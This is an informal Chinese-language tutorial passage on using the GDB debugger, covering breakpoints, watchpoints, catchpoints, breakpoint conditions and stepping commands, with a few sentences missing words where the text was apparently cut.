>break filename:linenum 在源文件filename的linenum行处停住。
>break filename:function 在源文件filename的function函数的入口处停住。
>break *address 在程序运行的内存地址处停住。
>break break命令没有参数时,表示在下一条指令处停住。
>break ... if 在条件成立时停住。
比如在循环境体中,可以设置break if i=100,表示当i为100时停住程序。
查看断点时,可使用info命令,如下所示:(注:n表示断点号)
>info breakpoints [n]
>info break [n]
四、设置观察点(WatchPoint)
观察点一般来观察某个表达式(变量也是一种表达式)的值是否有变化了,如果有变化,马上停住程序。
我们有下面的几种方法来点:
watch
为表达式(变量)expr设置一个观察点。
一量表达式值有变化时,马上停住程序。
rwatch
当表达式(变量)expr被读时,停住程序。
awatch
当表达式(变量)的值被读或被写时,停住程序。
info watchpoints
列出当前所设置了的所有观察点。
五、设置捕捉点(CatchPoint)
你可设置捕捉点来补捉程序运行时的一些事件。
如:载入共享库(动态链接库)或是C++的异常。
设置捕捉点的格式为:
catch
当event发生时,停住程序。
event可以是下面的内容:
1、throw 一个C++抛出的异常。
(throw为关键字)
2、catch 一个C++捕捉到的异常。
(catch为关键字)
3、exec 调用系统调用exec时。
(exec为关键字,目前此功能只在HP-UX下有用)
4、fork 调用系统调用fork时。
(fork为关键字,目前此功能只在HP-UX下有用)
5、vfork 调用系统调用vfork时。
(vfork为关键字,目前此功能只在HP-UX下有用)
6、load 或 load 载入共享库(动态链接库)时。
(load为关键字,目前此功能只在HP-UX下有用)
7、unload 或 unload 卸载共享库(动态链接库)时。
(unload为关键字,目前此功能只在HP-UX下有用)
tcatch
只设置一次捕捉点,当程序停住以后,该点被自动删除。
六、断点条件(condit)
在设置断点时,我们提到过可以设置一个条件,当条件成立时,程序自动pause。
一般来说,为断点设置一个条件,我们使用if关
其断点条件。
并且,条件设置好后,我们可以用condition命令来修改断点的条件。
(只有break和watch命令支持if,catch目前暂 condition [brknum] [expr]
修改断点号为bnum的停止条件为expression,或者清除断点号为bnum的停止条件。
还有一个比较特殊的维护命令ignore,你可以指定程序运行时,忽略停止条件几次。
ignore [brknum] [count]
表示忽略断点号为bnum的停止条件count次。
GDB还提供的command命令来设置停止点的运行命令。
利用它可以在断点条件达到时批处理一些命令,这对基于GDB的自动化调的支持。
commands [bnum]
... command-list ...
end
例如:
break foo if x>0
commands
printf "x is %d ",x
continue
end
断点设置在函数foo中,断点条件是x>0,如果程序被断住后,也就是,一旦x的值在foo函数中大于0,GDB会自动打印出x的值行程序。
七、单步调试
当程序被停住了,你可以用continue命令恢复程序的运行直到程序结束,或下一个断点到来。
也可以使用step或next命令单步跟 continue [ignore-count]
c [ignore-count]
fg [ignore-count]
恢复程序运行,直到程序结束,或是下一个断点到来。
ignore-count表示忽略其后的断点次数。
continue,c,fg三个命令都是一样的
step [count]
单步跟踪,很像.net等工具中的step in。
后面可以加count也可以不加,不加表示一条条地执行,加表示执行后面的count条指令, next [count]
同样单步跟踪,如果有函数调用,他不会进入该函数。
很像VC等工具中的step over。
后面可以加count也可以不加,不加表示一条条表示执行后面的count条指令,然后再停住。
set step-mode
set step-mode on
打开step-mode模式,于是,在进行单步跟踪时,程序不会因为没有debug信息而不停住。
这个参数有很利于查看机器码。
set step-mod off
关闭step-mode模式。
finish
运行程序,直到当前函数完成返回。
并打印函数返回时的堆栈地址和返回值及参数值等信息。
until 或 u
当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。
stepi 或 si
nexti 或 ni
单步跟踪一条机器指令。
一条程序代码有可能由数条机器指令完成,stepi和nexti可以单步执行机器指令。
与之一样有相同功能的命令$pc” ,当运行完这个命令后,单步跟踪会在打出程序代码的同时打出机器指令(也就是汇编代码)
先写这么多吧。
GDB下面还提供了强大的源码查看、搜索功能。
还有线程打断和捕获中断的功能,不过这些我都不是很常用。
等我总结吧。